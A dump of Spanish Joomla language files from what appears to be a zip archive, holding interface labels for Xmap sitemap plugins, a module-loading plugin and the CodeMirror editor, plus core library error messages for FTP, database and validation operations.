XMAP_SETTING_ADD_PAGEBREAKS_LABEL="Incluir saltos de página" XMAP_SETTING_ADD_PAGEBREAKS_DESC="Seleccione si para incluir las sub-páginas de un artículo en el mapa del sitio." XMAP_SETTING_ADD_IMAGES_LABEL="Incluir imágenes?" XMAP_SETTING_ADD_IMAGES_DESC="If yes, will parse the content of the article searching for images to add them to the site map. Valid Only for XML site map (Search engines Sitemap)" XMAP_NEWS_FIELDSET_LABEL="Google News Sitemap Settings" XMAP_SETTING_NEWS_KEYWORDS_DESC="Which keywords should we use for Google News Sitemap?" XMAP_SETTING_NEWS_KEYWORDS_LABEL="Keywords" XMAP_SETTING_NEWS_KEYWORDS_METAKEYS="Article's Metakeys" XMAP_SETTING_NEWS_KEYWORDS_CATTITLE="Catetegory Title" XMAP_SETTING_NEWS_KEYWORDS_METAKEYS_CATTITLE="Article's Metakeys + Category Title" XMAP_SETTING_NEWS_KEYWORDS_NONE="None" ; Generic Extension settings strings COM_PLUGINS_BASIC_FIELDSET_LABEL="Opciones Básicas" COM_PLUGINS_XML_FIELDSET_LABEL="XML Sitemap Settings" COM_PLUGINS_NEWS_FIELDSET_LABEL="News Sitemap Settings" XMAP_OPTION_USE_PARENT_MENU="Use Parent Menu Settings" XMAP_OPTION_NEVER="Never" XMAP_OPTION_ALWAYS="Always" XMAP_OPTION_XML_ONLY="In XML Sitemap Only" XMAP_OPTION_HTML_ONLY="In HTML Sitemap Only" XMAP_OPTION_WEEKLY="Weekly" XMAP_OPTION_DAILY="Daily" XMAP_OPTION_MONTHLY="Monthly" XMAP_OPTION_YEARLY="Yearly" XMAP_OPTION_HOURLY="Hourly" PK@y>\65G,language/es-ES/es-ES.plg_xmap_com_kunena.ininuW+AXMAP_KUNENA_SHOW_TOPICS_LABEL="Show Topics" XMAP_KUNENA_SHOW_TOPICS_DESC="Should we include topics into the sitemap?" XMAP_KUNENA_MAX_TOPICS_LABEL="Max topics" XMAP_KUNENA_MAX_TOPICS_DESC="Max number of topics per category to include on sitemap (Leave empty for no limit)" XMAP_KUNENA_NEWEST_THAN_LABEL="Newest than" XMAP_KUNENA_NEWEST_THAN_DESC="Include only topics newest than this number of days (Leave it blank to ignore this option)" XMAP_KUNENA_CATEGORY_PRIORITY_LABEL="Category Priority" XMAP_KUNENA_CATEGORY_PRIORITY_DESC="Set the priority for the categories" XMAP_KUNENA_CATEGORY_CHANGEFREQ_LABEL=Category Change frequency XMAP_KUNENA_CATEGORY_CHANGEFREQ_DESC="Set the chage frequency for the categories" XMAP_KUNENA_TOPIC_PRIORITY_LABEL="Topic Priority" XMAP_KUNENA_TOPIC_PRIORITY_DESC="Set the priority for the topics" XMAP_KUNENA_TOPIC_CHANGEFREQ_LABEL="Topic Change frequency" XMAP_KUNENA_TOPIC_CHANGEFREQ_DESC="Set the change frequency for the topics"PK@y>\rbb/language/es-ES/es-ES.plg_content_loadmodule.ininuW+A; $Id: es-ES.plg_content_loadmodule.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTENT_LOADMODULE="Contenido - Cargar módulos" PLG_LOADMODULE_FIELD_STYLE_DESC="El código que debe embeber el módulo" PLG_LOADMODULE_FIELD_STYLE_LABEL="Estilo" PLG_LOADMODULE_FIELD_VALUE_DIVS="Embeber por divs" PLG_LOADMODULE_FIELD_VALUE_HORIZONTAL="Embeber por tabla (horizontal)" PLG_LOADMODULE_FIELD_VALUE_MULTIPLEDIVS="Embeber por múltiples divs" PLG_LOADMODULE_FIELD_VALUE_RAW="Sin embeber (salida en bruto)" PLG_LOADMODULE_FIELD_VALUE_TABLE="Embeber por tabla (columna)" PLG_LOADMODULE_XML_DESCRIPTION="Carga las posiciones de módulo dentro de un artículo, Sintaxis: {loadposition user1} o módulos por nombre, Sintaxis {loadmodule mod_login}. Opcionalmente se puede especificar el estilo del módulo y un título específico para loadmodule" PK@y>\H3language/es-ES/es-ES.plg_editors_codemirror.sys.ininuW+A; $Id: es-ES.plg_editors_codemirror.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CODEMIRROR_XML_DESCRIPTION="Este plugin carga el editor CodeMirror." PLG_EDITORS_CODEMIRROR="Editor - CodeMirror" PK@y>\Ph#language/es-ES/es-ES.lib_joomla.ininuW+A; $Id: es-ES.lib_joomla.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2015 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! JERROR_PARSING_LANGUAGE_FILE=" : error(es) en la(s) línea(s) %s" JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN="Acceso denegado" JLIB_APPLICATION_ERROR_APPLICATION_GET_NAME="JApplication: :getName() : No se ha podido obtener o analizar el nombre de la clase." JLIB_APPLICATION_ERROR_APPLICATION_LOAD="No se ha podido cargar la aplicación: %s" JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="No tiene permiso para crear nuevos elementos en esta categoría." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="No tiene permisos para editar uno o más de uno de esos elementos." JLIB_APPLICATION_ERROR_BATCH_FAILED="El proceso por lotes ha fallado con el siguiente error: %s" JLIB_APPLICATION_ERROR_BATCH_MOVE_CATEGORY_NOT_FOUND="No se ha podido encontrar la categoría de destino a la que quiere moverlo." JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND="No se ha podido encontrar el elementos a mover." JLIB_APPLICATION_ERROR_CHECKIN_FAILED="Desbloqueo fallido con el siguiente error: %s" JLIB_APPLICATION_ERROR_CHECKIN_NOT_CHECKED="Elemento no desbloqueado" JLIB_APPLICATION_ERROR_CHECKIN_USER_MISMATCH="El usuario en revisión no coincide con el usuario que desbloqueó el elemento." JLIB_APPLICATION_ERROR_CHECKOUT_FAILED="Bloqueo fallido con el siguiente error: %s" JLIB_APPLICATION_ERROR_CHECKOUT_USER_MISMATCH="El desbloqueo de usuario no coincide con el usuario que bloqueó el elemento." JLIB_APPLICATION_ERROR_COMPONENT_NOT_FOUND="Componente no encontrado" JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING="Se ha producido un error cargando el componente: %1$s, %2$s" JLIB_APPLICATION_ERROR_CONTROLLER_GET_NAME="JController: :getName(): No se ha podido obtener o analizar el nombre de la clase." JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED="La acción 'Crear' un registro no está permitida" JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED="La acción 'Borrar' no está permitida" JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED="La acción 'Editar estado' no está permitida" JLIB_APPLICATION_ERROR_EDIT_ITEM_NOT_PERMITTED="La acción 'Editar' no está permitida" JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED="La acción 'Editar' no está permitida" JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION="Información insuficiente para llevar a cabo la operación de proceso por lotes" JLIB_APPLICATION_ERROR_INVALID_CONTROLLER_CLASS="Controlador de clase inválido: %s" JLIB_APPLICATION_ERROR_INVALID_CONTROLLER="Controlador inválido: nombre='%s', formato='%s'" JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND="Presentación %s no encontrada" JLIB_APPLICATION_ERROR_MODEL_GET_NAME="JModel: :getName(): No se ha podido obtener o analizar el nombre de la clase." JLIB_APPLICATION_ERROR_MODULE_LOAD="Se ha producido un error cargando el módulo %s" JLIB_APPLICATION_ERROR_PATHWAY_LOAD="No se ha podido cargar la ruta: %s" JLIB_APPLICATION_ERROR_REORDER_FAILED="La reordenación ha fallado. Error: %s" JLIB_APPLICATION_ERROR_ROUTER_LOAD="No se ha podido cargar el enrutador: %s" JLIB_APPLICATION_ERROR_MODELCLASS_NOT_FOUND="El modelo de la clase %s no ha sido encontrado en el archivo" JLIB_APPLICATION_ERROR_SAVE_FAILED="Se ha producido un fallo al guardar con el siguiente error: %s" JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED="La acción 'Guardar' no está permitida" JLIB_APPLICATION_ERROR_TABLE_NAME_NOT_SUPPORTED="La tabla %s no está soportada. El archivo no ha sido encontrado." JLIB_APPLICATION_ERROR_TASK_NOT_FOUND="La tarea [%s] no ha sido encontrada" JLIB_APPLICATION_ERROR_UNHELD_ID="No le está permitido usar este enlace para acceder directamente a esta página (#%d)." JLIB_APPLICATION_ERROR_VIEW_CLASS_NOT_FOUND="La vista de la clase no ha sido encontrada [clase, archivo]: %1$s, %2$s" JLIB_APPLICATION_ERROR_VIEW_GET_NAME_SUBSTRING="JView: :getName(): El nombre de su clase contiene la subcadena 'view'. Esto causa problemas cuando se extrae el nombre de la clase desde el nombre de su vista de objetos. Evite nombres de objeto con la subcadena 'view'." JLIB_APPLICATION_ERROR_VIEW_GET_NAME="JView: :getName(): No se ha podido obtener o analizar el nombre de la clase." JLIB_APPLICATION_ERROR_VIEW_NOT_FOUND="Vista no encontrada [nombre, tipo, prefijo]: %1$s, %2$s, %3$s" JLIB_APPLICATION_SAVE_SUCCESS="El elemento ha sido guardado correctamente." JLIB_APPLICATION_SUBMIT_SAVE_SUCCESS="El elemento ha sido enviado correctamente." JLIB_APPLICATION_SUCCESS_BATCH="Proceso por lotes completado correctamente." JLIB_APPLICATION_SUCCESS_ITEM_REORDERED="El orden ha sido guardado correctamente." JLIB_APPLICATION_SUCCESS_ORDERING_SAVED="El orden ha sido guardado correctamente." JLIB_LOGIN_AUTHENTICATE="El usuario y contraseña no coinciden, o aún no tiene una cuenta" JLIB_CACHE_ERROR_CACHE_HANDLER_LOAD="No se ha podido cambiar el gestor de la caché: %s" JLIB_CACHE_ERROR_CACHE_STORAGE_LOAD="No se ha podido cargar el almacenamiento de la caché: %s" JLIB_CAPTCHA_ERROR_PLUGIN_NOT_FOUND="El plugin de captcha no está configurado o disponible. Por favor, contacte con algún administrador del sitio." JLIB_CLIENT_ERROR_JFTP_NO_CONNECT="JFTP: :connect: No se ha podido conectar con el hospedaje ' %1$s ' desde el puerto ' %2$s '" JLIB_CLIENT_ERROR_JFTP_NO_CONNECT_SOCKET="JFTP: :connect: No se ha podido conectar con el hospedaje ' %1$s ' desde el puerto ' %2$s '. Error de 'socket' número: %3$s y mensaje de error: %4$s" JLIB_CLIENT_ERROR_JFTP_BAD_RESPONSE="JFTP: :connect: Respuesta inapropiada. Respuesta del servidor: %s [Esperada: 220]" JLIB_CLIENT_ERROR_JFTP_BAD_USERNAME="JFTP: :login: Usuario inapropiado. Respuesta del servidor: %1$s [Esperada: 331]. Usuario enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_BAD_PASSWORD="JFTP: :login: Contraseña inapropiada. Respuesta del servidor: %1$s [Esperada: 230]. Contraseña enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_PWD_BAD_RESPONSE_NATIVE="FTP: :pwd: Respuesta inapropiada" JLIB_CLIENT_ERROR_JFTP_PWD_BAD_RESPONSE="JFTP: :pwd: Respuesta inapropiada. Respuesta del servidor: %s [Esperada: 257]" JLIB_CLIENT_ERROR_JFTP_SYST_BAD_RESPONSE_NATIVE="JFTP: :syst: Respuesta equivocada" JLIB_CLIENT_ERROR_JFTP_SYST_BAD_RESPONSE="JFTP: :syst: Respuesta inapropiada. Respuesta del servidor: %s [Esperada: 215]" JLIB_CLIENT_ERROR_JFTP_CHDIR_BAD_RESPONSE_NATIVE="JFTP: :chdir: Respuesta inapropiada" JLIB_CLIENT_ERROR_JFTP_CHDIR_BAD_RESPONSE="JFTP: :chdir: Respuesta inapropiada. Respuesta del servidor: %1$s [Esperada: 250]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_REINIT_BAD_RESPONSE_NATIVE="JFTP: :reinit: Respuesta inapropiada" JLIB_CLIENT_ERROR_JFTP_REINIT_BAD_RESPONSE="JFTP: :reinit: Respuesta inapropiada. Respuesta del servidor: %s [Esperada: 220]" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_NATIVE="JFTP: :rename: Respuesta inapropiada" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_FROM="JFTP: :rename: Respuesta inapropiada. Respuesta del servidor: %1$s [Esperada: 350]. Desde la ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_TO="JFTP: :rename: Respuesta inapropiada. Respuesta del servidor: %1$s [Esperada: 250]. Hacia la ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_CHMOD_BAD_RESPONSE_NATIVE="JFTP: :chmod: Respuesta inapropiada" JLIB_CLIENT_ERROR_JFTP_CHMOD_BAD_RESPONSE="JFTP: :chmod: Respuesta inapropiada. Respuesta del servidor: %1$s [Esperada: 250]. Ruta enviada: %2$s. Modo de envio: %3$s" JLIB_CLIENT_ERROR_JFTP_DELETE_BAD_RESPONSE_NATIVE="JFTP: :delete: Respuesta inapropiada" JLIB_CLIENT_ERROR_JFTP_DELETE_BAD_RESPONSE="JFTP: :delete: Respuesta inapropiada. Respuesta del servidor: %1$s [Esperada: 250]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_MKDIR_BAD_RESPONSE_NATIVE="JFTP: :mkdir: Respuesta inapropiada" JLIB_CLIENT_ERROR_JFTP_MKDIR_BAD_RESPONSE="JFTP: :mkdir: Respuesta inapropiada. Respuesta del servidor: %1$s [Esperada: 257]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_RESTART_BAD_RESPONSE_NATIVE="JFTP: :restart: Respuesta inapropiada" JLIB_CLIENT_ERROR_JFTP_RESTART_BAD_RESPONSE="JFTP: :restart: Respuesta inapropiada. Respuesta del servidor: %1$s [Esperada: 350]. Punto de restablecimiento enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_BUFFER="JFTP: :create: Respuesta inapropiada" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_PASSIVE="JFTP: :create: No se ha podido usar el modo pasivo" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE="JFTP: :create: Respuesta inapropiada. Respuesta del servidor: %1$s [Esperada: 150 or 125]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_TRANSFER="JFTP: :create: Transferencia fallida. Respuesta del servidor: %1$s [Esperada: 226]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_BUFFER="JFTP: :read: Respuesta inapropiada" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_PASSIVE="JFTP: :read: No se ha podido usar el modo pasivo" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE="JFTP: :read: Respuesta inapropiada. Respuesta del servidor: %1$s [Esperada: 150 or 125]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_TRANSFER="JFTP: :read: Transferencia fallida. Respuesta del servidor: %1$s [Esperada: 226]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE="JFTP: :get: Respuesta inapropiada" JLIB_CLIENT_ERROR_JFTP_GET_PASSIVE="JFTP: :get: No se ha podido usar el modo pasivo" JLIB_CLIENT_ERROR_JFTP_GET_WRITING_LOCAL="JFTP: :get: No se ha podido abrir el archivo local para escribirlo. Ruta local: %s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE_RETR="JFTP: :get: Respuesta inapropiada. Respuesta del servidor: %1$s [Esperada: 150 o 125]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE_TRANSFER="JFTP: :get: Transferencia fallida. Respuesta del servidor: %1$s [Esperada: 226]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_STORE_PASSIVE="JFTP: :store: No se ha podido usar el modo pasivo" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE="JFTP: :store: Respuesta inapropiada" JLIB_CLIENT_ERROR_JFTP_STORE_READING_LOCAL="JFTP: :store: No se ha podido abrir el archivo local para leerlo. Ruta local: %s" JLIB_CLIENT_ERROR_JFTP_STORE_FIND_LOCAL="JFTP: :store: No se ha podido encontrar el archivo local. Ruta local: %s" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE_STOR="JFTP: :store: Respuesta inapropiada. Respuesta del servidor: %1$s [Esperada: 150 o 125]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_STORE_DATA_PORT="JFTP: :store: No se puede escribir por el puerto de datos del 'socket'" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE_TRANSFER="JFTP: :store: Transferencia fallida. Respuesta del servidor: %1$s [Esperada: 226]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_WRITE_PASSIVE="JFTP: :write: No se ha podido usar el modo pasivo" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE="JFTP: :write: Respuesta inapropiada" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE_STOR="JFTP: :write: Respuesta inapropiada. Respuesta del servidor: %1$s [Esperada: 150 o 125]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_WRITE_DATA_PORT="JFTP: :write: No se puede escribir por el puerto de datos del 'socket'" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE_TRANSFER="JFTP: :write: Transferencia fallida. Respuesta del servidor: %1$s [Esperada: 226]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_PASSIVE="JFTP: :listNames: No se ha podido usar el modo pasivo" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE="JFTP: :listNames: Respuesta inapropiada" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE_NLST="JFTP: :listNames: Respuesta inapropiada. Respuesta del servidor: %1$s [Esperada: 150 o 125]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE_TRANSFER="JFTP: :listNames: Transferencia fallida. Respuesta del servidor: %1$s [Esperada: 226]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE="JFTP: :listDetails: Respuesta inapropiada" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_PASSIVE="JFTP: :listDetails: No se ha podido usar el modo pasivo" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE_LIST="JFTP: :listDetails: Respuesta inapropiada. Respuesta del servidor: %1$s [Esperada: 150 o 125]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE_TRANSFER="JFTP: :listDetails: Transferencia fallida. Respuesta del servidor: %1$s [Esperada: 226]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_UNRECOGNISED="JFTP: :listDetails: Formato desconocido del listado del directorio" JLIB_CLIENT_ERROR_JFTP_PUTCMD_UNCONNECTED="JFTP: :_putCmd: No conectado al puerto de control" JLIB_CLIENT_ERROR_JFTP_PUTCMD_SEND="JFTP: :_putCmd: No se ha podido enviar el comando: %s" JLIB_CLIENT_ERROR_JFTP_VERIFYRESPONSE="JFTP: :_verifyResponse: Respuesta fuera de tiempo o desconocida, mientras se esperaba respuesta del servidor. Respuesta del servidor: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_CONNECT_PORT="JFTP: :_passive: No conectado al puerto de control" JLIB_CLIENT_ERROR_JFTP_PASSIVE_RESPONSE="JFTP: :_passive: Respuesta fuera de tiempo o desconocida, mientras se esperaba respuesta del servidor. Respuesta del servidor: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_IP_OBTAIN="JFTP: :_passive: No se ha podido obtener la IP y puerto para la transferencia de datos. Respuesta del servidor: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_IP_VALID="JFTP: :_passive: IP y puerto para la transferencia de datos inválidos. Respuesta del servidor: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_CONNECT="JFTP: :_passive: No se ha podido conectar al hospedaje %1$s desde el puerto %2$s. Número de error del 'socket': %3$s y mensaje de error: %4$s" JLIB_CLIENT_ERROR_JFTP_MODE_BINARY="JFTP: :_mode: Respuesta inapropiada. Respuesta del servidor: %s [Esperada: 200]. Modo de envío: Binario" JLIB_CLIENT_ERROR_JFTP_MODE_ASCII="JFTP: :_mode: Respuesta inapropiada. Respuesta del servidor: %s [Esperada: 200]. Modo de envío: Ascii" JLIB_CLIENT_ERROR_HELPER_SETCREDENTIALSFROMREQUEST_FAILED="Parece ser que las credenciales del usuario no son buenas..." JLIB_CLIENT_ERROR_LDAP_ADDRESS_NOT_AVAILABLE="Dirección no disponible." JLIB_DATABASE_ERROR_ADAPTER_MYSQL="El adaptador de MySQL del tipo 'mysql' no está disponible." JLIB_DATABASE_ERROR_ADAPTER_MYSQLI="El adaptador de MySQL del tipo 'mysqli' no está disponible." JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="No se ha podido cambiar el estado de publicación cuando desde el elemento superior se está indicando un estado de publicación de menor valor o incompatible." JLIB_DATABASE_ERROR_BIND_FAILED_INVALID_SOURCE_ARGUMENT="%s: :validación fallida. Argumento de origen inválido." JLIB_DATABASE_ERROR_ARTICLE_UNIQUE_ALIAS="Otro artículo de esta categoría ya tiene el mismo alias" JLIB_DATABASE_ERROR_CATEGORY_UNIQUE_ALIAS="Otra categoría que está dentro de la misma categoría principal ya está usando el mismo alias" JLIB_DATABASE_ERROR_CHECK_FAILED="%s: :Verificación fallida - %s" JLIB_DATABASE_ERROR_CHECKIN_FAILED="%s: :Bloqueo fallido - %s" JLIB_DATABASE_ERROR_CHECKOUT_FAILED="%s: :desbloqueo fallido - %s" JLIB_DATABASE_ERROR_CHILD_ROWS_CHECKED_OUT="Subfilas desbloqueadas." JLIB_DATABASE_ERROR_CLASS_DOES_NOT_SUPPORT_ORDERING="%s no soporta ordenación." JLIB_DATABASE_ERROR_CLASS_IS_MISSING_FIELD="Campo desaparecido en la base de datos: %s   %s." JLIB_DATABASE_ERROR_CLASS_NOT_FOUND_IN_FILE="Clase de la tabla %s no encontrada en el archivo." JLIB_DATABASE_ERROR_CONNECT_DATABASE="No se ha podido conectar a la base de datos: %s" JLIB_DATABASE_ERROR_CONNECT_MYSQL="No se ha podido conectar a MySQL." JLIB_DATABASE_ERROR_DATABASE_CONNECT="No se ha podido conectar a la base de datos" JLIB_DATABASE_ERROR_DELETE_CATEGORY="Inconsistencia de datos 'Left-Right'. No se ha podido borrar la categoría." JLIB_DATABASE_ERROR_DELETE_FAILED="%s: :borrado fallido - %s" JLIB_DATABASE_ERROR_DELETE_ROOT_CATEGORIES="Las categorías 'raíz' no se pueden borrar." JLIB_DATABASE_ERROR_EMAIL_INUSE="Esta dirección de correo electrónico ya está registrada." JLIB_DATABASE_ERROR_EMPTY_ROW_RETURNED="La fila de la base de datos está vacía." JLIB_DATABASE_ERROR_FUNCTION_FAILED="Función de la base de datos fallida con el número de error %s
            %s" JLIB_DATABASE_ERROR_GET_NEXT_ORDER_FAILED="%s: :getNextOrder fallido - %s" JLIB_DATABASE_ERROR_GET_TREE_FAILED="%s: :getTree fallido - %s" JLIB_DATABASE_ERROR_GETNODE_FAILED="%s: :_getNode fallido - %s" JLIB_DATABASE_ERROR_GETROOTID_FAILED="%s: :getRootId fallido - %s" JLIB_DATABASE_ERROR_HIT_FAILED="%s: :hit fallido - %s" JLIB_DATABASE_ERROR_INVALID_LOCATION="%s: :setLocation - Localización inválida" JLIB_DATABASE_ERROR_INVALID_NODE_RECURSION="%s: :move Failed - No se ha podido mover el nodo para que se convierta en un subnodo de sí mismo" JLIB_DATABASE_ERROR_INVALID_PARENT_ID="Id principal inválido." JLIB_DATABASE_ERROR_LANGUAGE_NO_TITLE="El idioma debe tener un título" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_IMAGE="Ya existe un idioma del contenido con ese prefijo de la imagen" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_LANG_CODE="Ya existe un idioma del contenido con esa etiqueta del idioma" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_SEF="Ya existe un idioma del contenido con ese código URL del idioma" JLIB_DATABASE_ERROR_LOAD_DATABASE_DRIVER="No se ha podido cargar el controlador de la base de datos: %s" JLIB_DATABASE_ERROR_MENUTYPE_EMPTY="Tipo de menú vacío" JLIB_DATABASE_ERROR_MENUTYPE_EXISTS="Tipo de menú existente: %s" JLIB_DATABASE_ERROR_MENUTYPE="Algunos elementos del menú, o módulos del menú relacionados a este tipo de menú, han sido desbloqueados por otro usuario, o el elemento del menú predeterminado está dentro de este menú" JLIB_DATABASE_ERROR_MENU_CANNOT_UNSET_DEFAULT="El parámetro del idioma para este elemento del menú debe estar asignado en 'Todos'. Siempre y cuando que el sitio esté configurado para funcionar con múltiples idiomas, por lo menos un elemento del menú predeterminado debe tener asignado en 'Todos' el campo del idioma." JLIB_DATABASE_ERROR_MENU_CANNOT_UNSET_DEFAULT_DEFAULT="Como mínimo debe haber un elemento del menú configurado como el predeterminado." JLIB_DATABASE_ERROR_MENU_UNPUBLISH_DEFAULT_HOME="No se ha podido despublicar al elemento predeterminado" JLIB_DATABASE_ERROR_MENU_DEFAULT_CHECKIN_USER_MISMATCH="El menú de inicio para este idioma está bloqueado" JLIB_DATABASE_ERROR_MENU_UNIQUE_ALIAS="Otro elemento del menú de este menú tiene el mismo alias" JLIB_DATABASE_ERROR_MENU_UNIQUE_ALIAS_ROOT="Otro elemento del menú tiene el mismo alias que en el menú raíz. El menú raíz, es el menú de primer nivel o superior a todos" JLIB_DATABASE_ERROR_MENU_HOME_NOT_COMPONENT="El elemento del menú de inicio debe apuntar a un componente." JLIB_DATABASE_ERROR_MENU_HOME_NOT_UNIQUE_IN_MENU="Solo puede haber un menú de inicio predeterminado." JLIB_DATABASE_ERROR_MENU_ROOT_ALIAS_COMPONENT="El alias de un elemento del menú de primer nivel no puede ser del tipo 'componente'." JLIB_DATABASE_ERROR_MENU_ROOT_ALIAS_FOLDER="El alias de un elemento del menú de primer nivel no puede ser '%s' porque '%s' es una subcarpeta del directorio de instalación de Joomla!." JLIB_DATABASE_ERROR_MOVE_FAILED="%s: :mover fallido - %s" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_CATEGORY="La categoría debe tener un título" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_EXTENSION="La extensión debe tener un título" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_MODULE="El módulo debe tener un título" JLIB_DATABASE_ERROR_NEGATIVE_NOT_PERMITTED="%s no puede ser negativo" JLIB_DATABASE_ERROR_NO_ROWS_SELECTED="Sin filas seleccionadas." JLIB_DATABASE_ERROR_NOT_SUPPORTED_FILE_NOT_FOUND="Tabla %s no soportada. Archivo no encontrado." JLIB_DATABASE_ERROR_NULL_PRIMARY_KEY="Clave primaria con valor nulo no permitida." JLIB_DATABASE_ERROR_ORDERDOWN_FAILED="%s: :orden descendente fallido - %s" JLIB_DATABASE_ERROR_ORDERUP_FAILED="%s: :orden ascendente fallido - %s" JLIB_DATABASE_ERROR_PLEASE_ENTER_A_USER_NAME="Por favor, introduzca su usuario." JLIB_DATABASE_ERROR_PLEASE_ENTER_YOUR_NAME="Por favor, introduzca su nombre." JLIB_DATABASE_ERROR_PUBLISH_FAILED="%s: :publicar fallido - %s" JLIB_DATABASE_ERROR_REBUILD_FAILED="%s: :reconstruir fallido - %s" JLIB_DATABASE_ERROR_REBUILDPATH_FAILED="%s: :ruta de reconstrucción fallida - %s" JLIB_DATABASE_ERROR_REORDER_FAILED="%s: :reordenar fallido - %s" JLIB_DATABASE_ERROR_REORDER_UPDATE_ROW_FAILED="%s: :actualización al reordenar la fila %s fallida - %s" JLIB_DATABASE_ERROR_ROOT_NODE_NOT_FOUND="Nodo raíz no encontrado." JLIB_DATABASE_ERROR_STORE_FAILED_UPDATE_ASSET_ID="El campo 'asset_id' no se puede actualizar" JLIB_DATABASE_ERROR_STORE_FAILED="%1$s: :almacenamiento fallido
            %2$s" JLIB_DATABASE_ERROR_USERGROUP_TITLE="El grupo de usuarios debe tener un título" JLIB_DATABASE_ERROR_USERGROUP_TITLE_EXISTS="El título del grupo de usuarios ya existe. El título debe ser único dentro del mismo nivel principal." JLIB_DATABASE_ERROR_USERNAME_CANNOT_CHANGE="No se ha podido usar este nombre de usuario" JLIB_DATABASE_ERROR_USERNAME_INUSE="Nombre de usuario en uso" JLIB_DATABASE_ERROR_VALID_AZ09="Por favor, introduzca un usuario válido. Sin espacios, por lo menos con %d caracteres y que no contenga los siguientes caracteres: < > \ "_QQ_" ' % ; ( ) &" JLIB_DATABASE_ERROR_VALID_MAIL="Por favor, introduzca una dirección de correo electrónico válida." JLIB_DATABASE_ERROR_VIEWLEVEL="El nivel de acceso debe tener un título" JLIB_DATABASE_FUNCTION_NOERROR="Las funciones de la base de datos, no reportan ningún error" 